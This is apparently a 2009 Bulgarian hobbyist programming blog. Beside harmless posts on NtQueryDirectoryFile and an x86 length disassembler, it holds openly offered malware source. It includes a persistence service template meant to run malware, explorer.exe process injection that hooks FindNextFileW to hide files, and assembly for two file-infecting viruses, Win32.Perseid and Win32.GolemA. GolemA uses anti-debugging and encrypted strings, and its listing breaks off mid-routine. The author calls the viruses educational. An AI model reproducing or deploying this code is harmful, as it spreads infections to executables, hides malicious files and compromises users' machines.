петък, 13 ноември 2009 г.

Листинг на директория чрез NtQueryDirectoryFile




Написах този код за науча повече затова как работят NT недокументирани функций и в частност NtQueryDirectoryFile :) Мисля че кода може да ви бъде много полезен затова го поствам с още класове които съм намерил в интернет и се ползват от NtQueryDirectoryFile но които практически не са нужни в тази програма :)

#include stdio.h
#include windows.h
#include string.h
#include wchar.h
#include ntsecapi.h
#include stdlib.h
#include malloc.h


typedef struct _IO_STATUS_BLOCK {
union {
NTSTATUS Status;
PVOID Pointer;
}StatusBlock;
ULONG_PTR Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;


typedef VOID (*PIO_APC_ROUTINE) (
PVOID ApcContext,
PIO_STATUS_BLOCK IoStatusBlock,
ULONG Reserved
);

typedef enum _FILE_INFORMATION_CLASS {
FileDirectoryInformation = 1,
FileFullDirectoryInformation,
FileBothDirectoryInformation,
FileBasicInformation,
FileStandardInformation,
FileInternalInformation,
FileEaInformation,
FileAccessInformation,
FileNameInformation,
FileRenameInformation,
FileLinkInformation,
FileNamesInformation,
FileDispositionInformation,
FilePositionInformation,
FileFullEaInformation,
FileModeInformation,
FileAlignmentInformation,
FileAllInformation,
FileAllocationInformation,
FileEndOfFileInformation,
FileAlternateNameInformation,
FileStreamInformation,
FilePipeInformation,
FilePipeLocalInformation,
FilePipeRemoteInformation,
FileMailslotQueryInformation,
FileMailslotSetInformation,
FileCompressionInformation,
FileCopyOnWriteInformation,
FileCompletionInformation,
FileMoveClusterInformation,
FileOleClassIdInformation,
FileOleStateBitsInformation,
FileNetworkOpenInformation,
FileObjectIdInformation,
FileOleAllInformation,
FileOleDirectoryInformation,
FileContentIndexInformation,
FileInheritContentIndexInformation,
FileOleInformation,
FileMaximumInformation
} FILE_INFORMATION_CLASS, *PFILE_INFORMATION_CLASS;

typedef struct _FILE_FULL_DIR_INFORMATION {
ULONG NextEntryOffset;
ULONG FileIndex;
LARGE_INTEGER CreationTime;
LARGE_INTEGER LastAccessTime;
LARGE_INTEGER LastWriteTime;
LARGE_INTEGER ChangeTime;
LARGE_INTEGER EndOfFile;
LARGE_INTEGER AllocationSize;
ULONG FileAttributes;
ULONG FileNameLength;
ULONG EaSize;
WCHAR FileName[1];
} FILE_FULL_DIR_INFORMATION, *PFILE_FULL_DIR_INFORMATION;

typedef DWORD (__stdcall *NQDF)(

IN HANDLE FileHandle,
IN HANDLE Event,
//IN PIO_APC_ROUTINE ApcRoutine,
IN void* x,
IN PVOID ApcContext,
OUT PIO_STATUS_BLOCK IoStatusBlock,
OUT PVOID FileInformation,
IN ULONG Length,
IN FILE_INFORMATION_CLASS FileInformationClass,
IN BOOLEAN ReturnSingleEntry,
IN PUNICODE_STRING FileMask,
IN BOOLEAN RestartScan );

#define ALLOCSIZE sizeof(FILE_FULL_DIR_INFORMATION) * 512


int main() {


IO_STATUS_BLOCK IoStatusBlock;
HANDLE Dir;
NQDF Addr;
PFILE_FULL_DIR_INFORMATION buffer=NULL,DirInfo=NULL;
WCHAR Directory[MAX_PATH];
LPCWSTR Module = L"ntdll.dll";
DWORD err;

printf("Enter Directory To Enumerate... \n");
wscanf(L"%ws",&Directory);

buffer = (PFILE_FULL_DIR_INFORMATION)calloc(ALLOCSIZE,1);

Dir = CreateFileW(Directory,FILE_LIST_DIRECTORY,FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,OPEN_EXISTING,FILE_FLAG_BACKUP_SEMANTICS,NULL);

Addr = (NQDF) GetProcAddress(GetModuleHandle(Module),"NtQueryDirectoryFile");



err = Addr(Dir,NULL,NULL,NULL,&IoStatusBlock,buffer,ALLOCSIZE,FileFullDirectoryInformation,0, NULL, FALSE);
DirInfo = buffer;

if(err == 0) { printf("Enumerating Directory Files: \n"); }
else { printf("you still have a lot to learn Neo"); system("PAUSE"); return 0; }

DirInfo = (PFILE_FULL_DIR_INFORMATION)(((PUCHAR)DirInfo) + (DirInfo->NextEntryOffset));

do {

DirInfo = (PFILE_FULL_DIR_INFORMATION)(((PUCHAR)DirInfo) + (DirInfo->NextEntryOffset));
PWSTR file = DirInfo->FileName;
wprintf( L"%ws\n", file);
}while(DirInfo->NextEntryOffset!=NULL);


system("PAUSE");

return 0;

}

Windows Service Template




Това е скелет на Уиндоус сервиз, мисля че ще бъде полезен на много хора :) Интересното е че съм го направил първият път като се пусне да работи като нормално .еxe и отам нататък вече ще се стартира в уиндоус като сервиз ( тествано само на Windows Xp )

#include windows.h
#include stdio.h

int ServReg();
int ServCheck();
/* Beginning of the main function */
void Execute() {

//YOUR CODE GOES HERE

}

SERVICE_STATUS ServiceStatus;
SERVICE_STATUS_HANDLE hStatus;

void ServiceMain(int argc, char** argv);
void ControlHandler(DWORD request);
int main()
{
SERVICE_TABLE_ENTRY ServiceTable[2];
ServiceTable[0].lpServiceName = "winboz";
ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;

ServiceTable[1].lpServiceName = NULL;
ServiceTable[1].lpServiceProc = NULL;
// Start the control dispatcher thread for our service
StartServiceCtrlDispatcher(ServiceTable);

goto SkipService; /* first time executetion */
return 0;

SkipService:
int x = ServCheck(); /* is this first time execution ? */
if(x == 1) { ServReg(); }
Execute(); /* it will be executed from here only the first time */
}


void ServiceMain(int argc, char** argv)
{


ServiceStatus.dwServiceType = SERVICE_WIN32;
ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwServiceSpecificExitCode = 0;
ServiceStatus.dwCheckPoint = 0;
ServiceStatus.dwWaitHint = 0;

hStatus = RegisterServiceCtrlHandler(
"winboz",
(LPHANDLER_FUNCTION)ControlHandler);


// We report the running status to SCM.
ServiceStatus.dwCurrentState = SERVICE_RUNNING;
SetServiceStatus (hStatus, &ServiceStatus);


// The worker loop of a service
while (ServiceStatus.dwCurrentState == SERVICE_RUNNING)
{

Execute(); /* here we execute the malware like service, not first time */

ServiceStatus.dwCurrentState = SERVICE_STOPPED;
ServiceStatus.dwWin32ExitCode = -1;
SetServiceStatus(hStatus, &ServiceStatus);
return;
}
return;
}



// Control handler function
void ControlHandler(DWORD request)
{

ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus (hStatus, &ServiceStatus);

return;
}


int ServCheck() { /* returns 1 if its first time execution */

int x = 0;
int Num = 0;
char Buffer[7],Buffer2[7]="qwerty";
HANDLE OpenHandle;

memset(Buffer,0,7);

OpenHandle = CreateFile("root_check.rot",GENERIC_READ | GENERIC_WRITE,0,
NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
ReadFile(OpenHandle,(LPVOID)Buffer,6,(DWORD*)&Num,NULL);


if(strcmp(Buffer,Buffer2)!=0) {
x = 1; /* first time execution */
Num = 0;
WriteFile(OpenHandle,Buffer2,6,(DWORD*)&Num,NULL);
}

CloseHandle(OpenHandle);

return x;
}

int ServReg() {

int success = 0;
int failure = 1;
char FilePath[MAX_PATH];

GetModuleFileName(0,FilePath,MAX_PATH);

SC_HANDLE SMH = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
/*GetModuleFileName(NULL,FilePath,MAX_PATH); */



SC_HANDLE RegHandle = CreateService(SMH,"winboz","winboz",
SERVICE_ALL_ACCESS,SERVICE_WIN32_OWN_PROCESS,
SERVICE_AUTO_START,SERVICE_ERROR_IGNORE,FilePath,
NULL,NULL,NULL,NULL,NULL);


CloseServiceHandle(SMH);
CloseServiceHandle(RegHandle);

return success;
}

Hooking explorer.exe (FindNextFileW)



Това е един от най яките ми кодове :) Кода инжектира функция в explorer.exe и тази функция прихваща FindNextFileW (който се използва от explorer.exe са обикновен листинг на директорийте) и така скрива всички файлове чийто имена започват с "root_" :)

#include
#include
#include


typedef int (WINAPI *VP) (LPVOID,SIZE_T,DWORD,PDWORD);

typedef struct {
VP SetVP;
DWORD *FindFileW;
} Inject_Data;

int Inject(Inject_Data *Data);
int main()
{

Inject_Data Data;
LPVOID Mem,Prm;
HANDLE rThread;

HANDLE handle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
PROCESSENTRY32 ProcessInfo;
ProcessInfo.dwSize = sizeof(PROCESSENTRY32);

Data.FindFileW = (DWORD *)GetProcAddress(GetModuleHandle("kernel32.dll"),"FindNextFileW");
Data.SetVP = (VP)GetProcAddress(GetModuleHandle("kernel32.dll"),"VirtualProtect");

while(Process32Next(handle, &ProcessInfo))
{
if(!strcmp(ProcessInfo.szExeFile, "explorer.exe"))
{
handle = OpenProcess(PROCESS_ALL_ACCESS,0,ProcessInfo.th32ProcessID);

Prm = VirtualAllocEx(handle,NULL,sizeof(Data),MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);
WriteProcessMemory(handle,Prm,&Data,sizeof(Data),NULL);

Mem = VirtualAllocEx(handle,NULL,2000,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
WriteProcessMemory(handle,Mem,Inject,2000,NULL);

rThread = CreateRemoteThread(handle,NULL,0,(LPTHREAD_START_ROUTINE)Mem,Prm,0,NULL);
WaitForSingleObject(rThread, INFINITE);
CloseHandle(handle);
}
}

return 0;
}

int Inject(Inject_Data *Data) {

DWORD i,tmptr;

i = (DWORD) Data->FindFileW;

Data->SetVP((LPVOID)i,5,PAGE_EXECUTE_READWRITE,(PDWORD)&tmptr);

__asm{
call GetDelta
GetDelta:
pop edi

sub edi,offset GetDelta

lea edx,[StolenBytes+edi]
mov i,edx
}

Data->SetVP((LPVOID)i,5,PAGE_EXECUTE_READWRITE,(PDWORD)&tmptr);

i = (DWORD) Data->FindFileW;

__asm{
call GetDelta1
GetDelta1:
pop edi

sub edi,offset GetDelta1

mov eax,i
mov ecx,5
lea edx,[StolenBytes+edi]
}



__asm{
myloop:

mov bl,byte ptr[eax]
mov byte ptr[edx],bl
inc eax
inc edx
loop myloop

sub eax,5
lea edx,[Hooked+edi]

mov byte ptr[eax],0xE8

sub edx,eax
sub edx,5

inc eax
mov dword ptr[eax],edx

}

return 0;


__asm{


Hooked:

pop eax /* poping the ret address to FindNextFileW */
movd mm0,eax /*saving it for later */

pop eax /* poping the ret address to the injected process */
movd mm1,eax /* saving it for laterz */

/* saving the registers and flags */

pop eax /* saving the arguments */
movd mm2,eax
pop eax
movd mm3,eax

pushad
pushfd

movd eax,mm3 /* recovering the arguments */
push eax
movd eax,mm2
push eax

call GetDelta2
GetDelta2:

pop edi
sub edi,offset GetDelta2

movd eax,mm0
sub eax,5
mov ecx,5
lea edx,[StolenBytes+edi]

myloop1: /* recoverying the stolen bytes */

mov bl,byte ptr[edx]
mov byte ptr[eax],bl
inc eax
inc edx
loop myloop1

HideFile:

pop ebx /* saving arguments for later */
pop eax
push eax
push ebx
push eax
push ebx

movd eax,mm0 /* recovering the FindNextFileW address */
sub eax,5 /* we go the beginning of the FindNextFileW function */

call eax /* calling FindNextFileW */
test eax,eax

movd mm2,eax /* saving it for reocvery (injected process may need it)*/

pop ebx /*poping the handle */
pop eax /*poping the find file structure */

jz RecoveryAndBack

mov edx,eax
add edx,0x2C /* go to found file name */

cmp byte ptr[edx],'r'
jnz RecoveryAndBack
inc edx
inc edx
cmp byte ptr[edx],'o'
jnz RecoveryAndBack
inc edx
inc edx
cmp byte ptr[edx],'o'
jnz RecoveryAndBack
inc edx
inc edx
cmp byte ptr[edx],'t'
jnz RecoveryAndBack
inc edx
inc edx
cmp byte ptr[edx],'_'
jnz RecoveryAndBack


push eax /* pushing the arguments for the next execution of FindNextFileW*/
push ebx

jmp HideFile

RecoveryAndBack:

movd eax,mm0

sub eax,5
mov byte ptr[eax],0xE8
lea edx,[Hooked+edi]
sub edx,eax
sub edx,5
inc eax
mov dword ptr[eax],edx

popfd
popad
movd eax,mm1
push eax
movd eax,mm2

ret

StolenBytes:
nop
nop
nop
nop
nop
nop
nop
nop
}
}

SLDE 0.1v



Това е прост дисасемблер който дава дължината на едно байтовите инструкций в x86 архитектура :) Отнеми доста време да разбера как да го направя и около седмица за да го направя практически :)

/* yaav */

/* SLDE 0.1v */
/* This is simple lengh disassembler engine for IA32 x86 instruction set.The code is
Operation System independent. For now it supports only the most used one byte
opcodes(without few rarely used opcodes)but i will expand it in future :)
Credits goes to Benny- and Napalm. Thanks guys :) */

#define Prefix 5
#define ModRMy 1
#define ModRMn 0
#define Imm08 8
#define Imm32 32 /*16/32 bit Imm*/
#define ModRM 3 /*Unknown Opcode*/

unsigned char Array[] = "\x67\x66\x81\x05\x11\x11\x00\x00\x11\x11"; /* bytes to dissasm */
unsigned char ModRMTable[] = {
ModRMy,ModRMy,ModRMy,ModRMy,ModRMn+Imm08,ModRMn+Imm32,ModRMn,ModRMn, /*00..07*/
ModRMy,ModRMy,ModRMy,ModRMy,ModRMn+Imm08,ModRMn+Imm32,ModRMn,ModRMn, /* 08..0F*/
ModRMy,ModRMy,ModRMy,ModRMy,ModRMn+Imm08,ModRMn+Imm32,ModRMn,ModRMn, /* 10..17 */
ModRMy,ModRMy,ModRMy,ModRMy,ModRMn+Imm08,ModRMn+Imm32,ModRMn,ModRMn, /* 18..1F */
ModRMy,ModRMy,ModRMy,ModRMy,ModRMn+Imm08,ModRMn+Imm32,Prefix,ModRMn, /* 20..27 */
ModRMy,ModRMy,ModRMy,ModRMy,ModRMn+Imm08,ModRMn+Imm32,Prefix,ModRMn, /* 28..2F */
ModRMy,ModRMy,ModRMy,ModRMy,ModRMn+Imm08,ModRMn+Imm32,Prefix,ModRMn, /* 30..37 */
ModRMy,ModRMy,ModRMy,ModRMy,ModRMn+Imm08,ModRMn+Imm32,Prefix,ModRMn, /* 38..3F */
ModRMn,ModRMn,ModRMn,ModRMn,ModRMn,ModRMn,ModRMn,ModRMn, /* 40..47 */
ModRMn,ModRMn,ModRMn,ModRMn,ModRMn,ModRMn,ModRMn,ModRMn, /* 48..4F */
ModRMn,ModRMn,ModRMn,ModRMn,ModRMn,ModRMn,ModRMn,ModRMn, /* 50..57 */
ModRMn,ModRMn,ModRMn,ModRMn,ModRMn,ModRMn,ModRMn,ModRMn, /* 58..5F */
ModRMn,ModRMn,ModRMy,ModRMy,Prefix,Prefix,Prefix,Prefix, /* 60..67 */
ModRMn+Imm32,ModRMy+Imm32,ModRMn+Imm08,ModRMy+Imm08,ModRMn,ModRMn,ModRMn,ModRMn, /* 68..6F */
ModRMn+Imm08,ModRMn+Imm08,ModRMn+Imm08,ModRMn+Imm08,ModRMn+Imm08,ModRMn+Imm08,ModRMn+Imm08,ModRMn+Imm08, /* 70..77 */
ModRMn+Imm08,ModRMn+Imm08,ModRMn+Imm08,ModRMn+Imm08,ModRMn+Imm08,ModRMn+Imm08,ModRMn+Imm08,ModRMn+Imm08, /* 78..7F */
ModRMy+Imm08,ModRMy+Imm32,ModRMy+Imm08,ModRMy+Imm08,ModRMy,ModRMy,ModRMy,ModRMy, /* 80..87 */
ModRMy,ModRMy,ModRMy,ModRMy,ModRMy,ModRMy,ModRMy,ModRMy, /* 88..8F */
ModRMn,ModRMn,ModRMn,ModRMn,ModRMn,ModRMn,ModRMn,ModRMn, /*90..97 */
ModRMn,ModRMn,ModRM/*9A Unknown */,ModRMn,ModRMn,ModRMn,ModRMn,ModRMn, /* 98..9F */
ModRMn+Imm32,ModRMn+Imm32,ModRMn+Imm32,ModRMn+Imm32,ModRMn,ModRMn,ModRMn,ModRMn, /* A0..A7 */
ModRMn+Imm08,ModRMn+Imm32,ModRMn,ModRMn,ModRMn,ModRMn,ModRMn,ModRMn, /* A8..AF */
ModRMn+Imm08,ModRMn+Imm08,ModRMn+Imm08,ModRMn+Imm08,ModRMn+Imm08,ModRMn+Imm08,ModRMn+Imm08,ModRMn+Imm08, /* B0..B7 */
ModRMn+Imm32,ModRMn+Imm32,ModRMn+Imm32,ModRMn+Imm32,ModRMn+Imm32,ModRMn+Imm32,ModRMn+Imm32,ModRMn+Imm32, /* B8..BF */
ModRMy+Imm08,ModRMy+Imm08,ModRM /* RET WORD */,ModRMn,ModRMy,ModRMy,ModRMy+Imm08,ModRMy+Imm32, /* C0..C7 */
ModRM /* C8 Unknown */,ModRMn,ModRM /* RET WORD */,ModRMn,ModRMn,ModRMn+Imm08,ModRMn,ModRMn, /* C8..CF */
ModRMy,ModRMy,ModRMy,ModRMy,ModRMn+Imm08,ModRMn+Imm08,ModRMn,ModRMn, /* D0..D7 */
ModRMy,ModRMy,ModRMy,ModRMy,ModRMy,ModRMy,ModRMy,ModRMy, /* D8..DF */
ModRMn+Imm08,ModRMn+Imm08,ModRMn+Imm08,ModRMn+Imm08,ModRMn+Imm08,ModRMn+Imm08,ModRMn+Imm08,ModRMn+Imm08, /* E0..E7 */
ModRMn+Imm32,ModRMn+Imm32,ModRM /*EA Unknown */,ModRMn+Imm08,ModRMn,ModRMn,ModRMn,ModRMn, /* E8..EF */
Prefix,ModRMn,Prefix,Prefix,ModRMn,ModRMn,ModRMy+Imm08,ModRMy+Imm32, /* F0..F7 */
ModRMn,ModRMn,ModRMn,ModRMn,ModRMn,ModRMn,ModRMy,ModRMy /* F8..FF */
};

int main()
{

unsigned char *ptr,Mod;
ptr = Array;
int OperandSize = 4,OpcodeSize = 0,Displacement = 4;

DecodePrefixes:

if(ModRMTable[*ptr] == Prefix) {
if (*ptr == 0x66) { OpcodeSize += 1; OperandSize -= 2; } else { OpcodeSize += 1; }
ptr++;
goto DecodePrefixes;
}

OpcodeSize += 1; /* because of the opcode */

if (ModRMTable[*ptr] == Imm08+ModRMy || ModRMTable[*ptr] == Imm08 ) { OpcodeSize += 1; } /*is there a 8 bit Imm */
if (ModRMTable[*ptr] == Imm32+ModRMy || ModRMTable[*ptr] == Imm32 ) { OpcodeSize += OperandSize; } /* is there a 16 or 32 bit imm */
if (ModRMTable[*ptr] == ModRMy || ModRMTable[*ptr] == ModRMy+Imm08 || ModRMTable[*ptr] == ModRMy+Imm32) { /* is there a ModR/M Byte */
OpcodeSize += 1; ptr++; /*read the ModR/M Byte */ goto DecodeMod; }
else { printf ("The Opcode Size Is: %d\n",OpcodeSize); return 0; }

/*Decode ModR/M Byte */
DecodeMod:
Mod = *ptr;
if((Mod >= 0x00 && Mod <= 0x3F) || (Mod >= 0xC0 && Mod <= 0xFF)) { Displacement -= 4; }
if(Mod >= 0x40 && Mod <= 0x7F) { Displacement -= 3; }
OpcodeSize += Displacement;

if((Mod%0x10 == 4) || (Mod%0x10 == 0x0C)) { OpcodeSize += 1;} /* does it have SIB ? */
if(Mod <= 0x3D) { if((Mod%0x10 == 0x05) || (Mod%0x10 == 0x0D)){ OpcodeSize += 4; } }/* is it direct addresation? */


printf ("The Opcode Size Is: %d\n",OpcodeSize);

return 0;
}

Win32.Preseid




Това е едно мое творение вирус което заразява всички файлове в директорията но само при условие че имат достатачно сбоводно място в секцията с кода за да запише себеси там :) Написах го само за 2-3 дена и го кръстих Perseid защото точно в деня когато го завърших прокрай земята минаваше голям поток от падащи звезди... наречени Perseid :)

; BlindWolf / Hack 3D
;
;I made this virii just for education purpouse and just to learn someting
;Credits goes to fAMINE, i learnet many things from his sources.
;This is simple Win32 Code cave infector.Main executable should have system
;attributes and writable code section.Use CRC instead of API names, keep API addresses
;on the stack.Infect only one executable in the current directoy per exectuion.
;Size of the virii is 460 bytes.I still havent added payload.Its no really optimized but it works fine
;for education purpouse :) .


.686p
.mmx
.MODEL flat,stdcall
OPTION CASEMAP:NONE
Include windows.inc
include kernel32.inc
includelib kernel32.lib
assume fs:FLAT

.code
db 0FFh
Beginning label near

FileName db "*.exe",0

realstart:

call getDelta ;Get the delta
getDelta:
pop ebp
sub ebp,offset getDelta
;Entry Point
mov esi,dword ptr[EntryPoint+ebp]
mov dword ptr[GoToOEP+ebp+1],esi
pop esi
and esi,0FFFF0000h

call GetKernel

mov edx,7h
push 0BD01EEDEh ;CRC for FlushViewOfFile
push 53F2D79Bh ;CRC for MapViewOfFileA
push 1EF99B0Dh ;CRC for CreateFileMappingA
push 02BD833FBh ;CRC for CreateFileA
push 0F2290C25h ;CRC for SetFileAttributesA
push 0A38B216Eh ;CRC for FindNextFileA
push 0903ebb2eh ;CRC for FindFirstFileA

GetOneMoreApi:

pop ebx
push edx
call GetApis
pop edx
mov dword ptr[esp+4*6],ecx
dec edx
jnz GetOneMoreApi

;ESP-13C = WIN32_FIND_DATA

pop ecx ;Poping FindFirstFile
sub esp,13Ch
push esp
lea eax,[FileName+ebp]
push eax
call ecx ;call FindFirstFileA
mov esi,eax ;save the handle
test byte ptr[esp],(FILE_ATTRIBUTE_SYSTEM + FILE_ATTRIBUTE_DIRECTORY)
jz Continue

FindOneMore:
mov edi,dword ptr[esp+13Ch] ;get FindNextFile address
subloop:
push esp
push esi
call edi ;calling FindNextFileA
test al,al
jz BackToEP
test byte ptr[esp],(FILE_ATTRIBUTE_SYSTEM + FILE_ATTRIBUTE_DIRECTORY)
jnz subloop

Continue:
add esp,13Ch
pop edi ;poping FindNextFile address (clean the stack)
pop eax
sub esp,13Ch
lea ebx,[esp+2Ch]
push FILE_ATTRIBUTE_SYSTEM
push ebx
call eax ;call SetFileAttributes

xor edi,edi ;EDI will be zero

add esp,13Ch
pop eax ;pop the CreateFileA address
push edi
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push edi
push edi
push GENERIC_ALL
push ebx
call eax ;call Create FileA

pop ebx ;pop CreateFileMappingA address
push edi
push edi
push edi
push PAGE_READWRITE
push edi
push eax
call ebx ;call CreateFileMappingA


pop edx ;pop MapViewOfFile address
push edi
push edi
push edi
push FILE_MAP_ALL_ACCESS
push eax
call edx ;call MapViewOfFile

xor ecx,ecx
mov edi,eax

add eax,dword ptr[eax+3Ch]
mov edx,dword ptr[eax+28h] ;get EntryPoint
add edx,dword ptr[eax+34h] ;add imagebase
mov [EntryPoint+ebp],edx
mov dword ptr[eax+11Ch],0E0000020h ;change .text section properities to writable

xor ebx,ebx
add edi,dword ptr[eax+54h] ;SizeOfHeaders
dec edi
TryToWrite:
inc edi
inc ecx
cmp ecx,TheEnd - Beginning
je Write
cmp dword ptr[edi],0
je TryToWrite
add ebx,ecx
cmp ebx,dword ptr[eax+108h]
jge Finish
xor ecx,ecx
jmp TryToWrite

Write:
sub edi,ecx
push edi
;calculate the New EP
push eax
sub edi,dword ptr[eax+54h]
and eax,0FFFFFF00h
sub edi,eax ;maping address
add edi,6h ;cuz of the *.exe and magic jump
pop eax
add edi,dword ptr[eax+104h] ;add section virtual size
mov dword ptr[eax+28h],edi ;WriteNewEp
pop edi
lea esi,[ebp+Beginning]
WriteLoop:
lodsb
stosb
loopd WriteLoop
sub eax,0C3h
pop ecx ;poping FlushViewOfFile address
push 0
push eax
call ecx
Finish:
nop
BackToEP:
cmp byte ptr[Beginning-1+ebp],0FFh
je Droper
GoToOEP:
push 00001111
ret
EntryPoint dd 00000000
GetKernel proc ;This procedure returns image base of the kernel32.dll (ESI ) and address of kernel32 export table (EDI)
tryagain:
cmp word ptr[esi],'ZM'
jnz tryitman

mov edi,dword ptr[esi+3Ch] ;magic jump
mov edi,dword ptr[esi+edi+78h] ;address of export table
add edi,esi ;normalize offset

Ret
tryitman:
sub esi,1000h
jmp tryagain
GetKernel EndP

GetApis proc ;This procedure takes 4 arguments 1: EAX = 0 , 2:ESI = Imagebase , 3:EDI = export table address , 4:EBX == CRC for the name of the API
push edi
push esi
mov ecx,[edi+18h]
mov edx,[edi+20h]
add edx,esi
push ecx
push esi
push edi
mov edi,esi
mov esi,[edx]
add esi,edi
lol:
xor edi,edi
loop1:
lodsb
mov ecx,eax
add edi,eax
rol edi,cl
test eax,eax
jne loop1
cmp edi,ebx
je found
dec dword ptr[esp+08h]
jne lol
found:
pop ebx
pop eax
pop ecx
mov edx,[ebx+18h]
mov edi,[ebx+24h]
add edi,eax
sub edx,ecx
shl edx,1
add edi,edx
movzx edx,word ptr[edi]
mov ebx,[ebx+1ch]
add ebx,eax
shl edx,2
add ebx,edx
xor ecx,ecx
add ecx,[ebx]
add ecx,eax
xor eax,eax
pop esi
pop edi
Rets
GetApis EndP ;This procedure return ECX = address of the desired API
TheEnd label near
Droper:
push 0
call ExitProcess
end realstart

неделя, 17 май 2009 г.

Първият ми вирус Win32.GolemA




Радостен съм да представя първият ми вирус GolemA. Кръстих го така защото според мене е много голям и тромав :Д


; BlindWolf / F7F 
;This is my first virii, nothing special just Appender.... infect all files in the directory and all sub-directorys.
;Uses CRC instead of API names and keep API addresses in MMX registers.
;Use PEB to check if debugger present, and if debugger detected EIP cannot access memory :P.  
;Use Xor encryption to encrypt the strings, the key is unique for every infected file.  
.686p
.mmx
.MODEL flat,stdcall
OPTION CASEMAP:NONE
Include windows.inc
assume fs:FLAT
.code
mark dw 0F7F0h
mylabel label near
xorkey db ?
dllname db "user32.dll",0
payload db "File Infected By F7F/Win32.GolemA!",0
encryption label near
FindData WIN32_FIND_DATA
FileInformation BY_HANDLE_FILE_INFORMATION
FileHandle HANDLE ?
FileType db "*.exe",0
ImageBase dd ?
EntryPoint dd ?
NewEP dd ?
BytesWritten dd ?
NumberOfSections dw ?
FileSize dd ?
AddressOfFileMap dd ?
VirtualSize dd ?
VirtualAddress dd ?
OpenFileHandle dd ?
SizeOfRawData dd ?
RawOffset dd ?
LastSectionOff dd ?
beforeep label near
start:
push ebp
mov ebp,esp
pop eax
xor eax,eax  

jmp realstart ;jump to the body of the virus 

   

GetKernel proc ;This procedure returns image base of the kernel32.dll (ESI ) and address of kernel32 export table (EDI)
tryagain:
cmp word ptr[esi],'ZM'
jnz tryitman
push esi
add esi,dword ptr[esi+3ch]
add esi,78h
mov edi,dword ptr[esi]
pop esi
add edi,esi
 Ret
 tryitman:
 sub esi,1000h
 jmp tryagain
GetKernel EndP

GetApis proc ;This procedure takes 4 arguments 1: EAX = 0 , 2:ESI = Imagebase , 3:EDI = export table address , 4:EBX == CRC for the name of the API
mov ecx,[edi+18h]
mov edx,[edi+20h]
add edx,esi
push ecx
push esi
push edi
mov edi,esi
mov esi,[edx]
add esi,edi
lol:
xor edi,edi
loop1:
lodsb
mov ecx,eax
add edi,eax
rol edi,cl
test eax,eax
jne loop1
cmp edi,ebx
je found
dec dword ptr[esp+08h]
jne lol
found:
pop ebx
pop eax
pop ecx
mov edx,[ebx+18h]
mov edi,[ebx+24h]
add edi,eax
sub edx,ecx
shl edx,1
add edi,edx
movzx edx,word ptr[edi]
mov ebx,[ebx+1ch]
add ebx,eax
shl edx,2
add ebx,edx
xor ecx,ecx
add ecx,[ebx]
add ecx,eax
xor eax,eax
 Ret
GetApis EndP ;This procedure return ECX = address of the desired API


realstart:
call getDelta ;Get the delta 
getDelta:
pop ebp
sub ebp,offset getDelta
call CheckForDebugger 
   
lea eax,[mylabel+ebp]
cmp word ptr[eax-2],0F7F0h  
jz readytoexe ;Is it dropper or infected file ?
;int 3

lea ebx,[ebp+encryption]
dec ebx
lea eax,[ebp+xorkey]
mov cl,[ebp+xorkey]
decryptmore:
inc eax
xor byte ptr[eax],cl
cmp eax,ebx ;decrypt the strings
jnz decryptmore

jmp preparetoexe
readytoexe:  

pop esi
and esi,0FFFF0000h
call GetKernel 
push edi 
push esi
xor eax,eax
mov ebx,1EF99B0Dh ;CRC for CreateFileMappingA
call GetApis
movd mm4,ecx ;mm4 = CreateFileMappingA
pop esi
pop edi
mov ebx,0BD01EEDEh
push edi
push esi
xor eax,eax
call GetApis
movd mm7,ecx
pop esi
pop edi
mov ebx,13B13649h 
push edi
push esi
xor eax,eax
call GetApis
movd mm6,ecx
pop esi
pop edi
mov ebx,53F2D79Bh ;CRC for MapViewOfFileA
push edi
push esi
xor eax,eax
call GetApis
movd mm5,ecx ;mm5 = MapViewOfFileA
pop esi
pop edi
push edi ;EDI = export table address
push esi ;ESI = kernel32 imagebase
mov ebx,02BD833FBh ;CRC for CreateFileA
xor eax,eax
call GetApis
movd mm3,ecx ;mm3 = CreateFileA
pop esi
pop edi
push edi
push esi
mov ebx,0A38B216Eh ;CRC for FindNextFileA
xor eax,eax
call GetApis 
movd mm2,ecx ;mm2 = FindNextFileA
pop esi
pop edi
push edi
push esi
xor eax,eax
mov ebx,0903ebb2eh ;CRC for FindFirstFileA
call GetApis
lea ebx,[ebp+FindData]
lea edx,[ebp+FileType]
push ebx
push edx
call ecx ;calling FindFirstFileA
mov [ebp+FileHandle],eax ;Save the file handle
mov ebx,0ECF95325h ;CRC for GetFileAttributesA
pop esi
pop edi
xor eax,eax
push edi
push esi
call GetApis
movd mm0,ecx ;mm0 = GetFileAttributesA
xor eax,eax
pop esi
pop edi
push edi
push esi
mov ebx,0F2290C25h ;CRC for SetFileAttributesA
call GetApis
movd mm1,ecx ;mm1 = SetFileAttributesA 
check:
movd ecx,mm0
lea ebx,[FindData+2Ch+ebp] ;FindData+2Ch+EBP = file name returned by FindFirstFileA
push ebx
call ecx ;calling GetFileAttributesA  
cmp eax,04h ;check if file attributes are system (0x04)
jne StartInfection
OneMoreInfection:
movd ecx,mm2
lea ebx,[FindData+ebp]
push ebx
mov eax,[ebp+FileHandle]
push eax
call ecx ;calling FindNextFileA
test eax,eax
jz PayLoad
jmp check
StartInfection:
movd ecx,mm1 
lea edx,[FindData+2Ch+ebp]
mov ebx,04h ;later may move this furthur
push ebx
push edx
call ecx ;calling SetFileAttributesA to set file attributes to 0x04 (system file)
movd ecx,mm3
lea ebx,[FindData+2Ch+ebp]
push 0h
push 4h
push 3h
push 0h
push FILE_SHARE_READ+FILE_SHARE_WRITE
push GENERIC_READ+GENERIC_WRITE
push ebx
call ecx ;calling CreateFileA
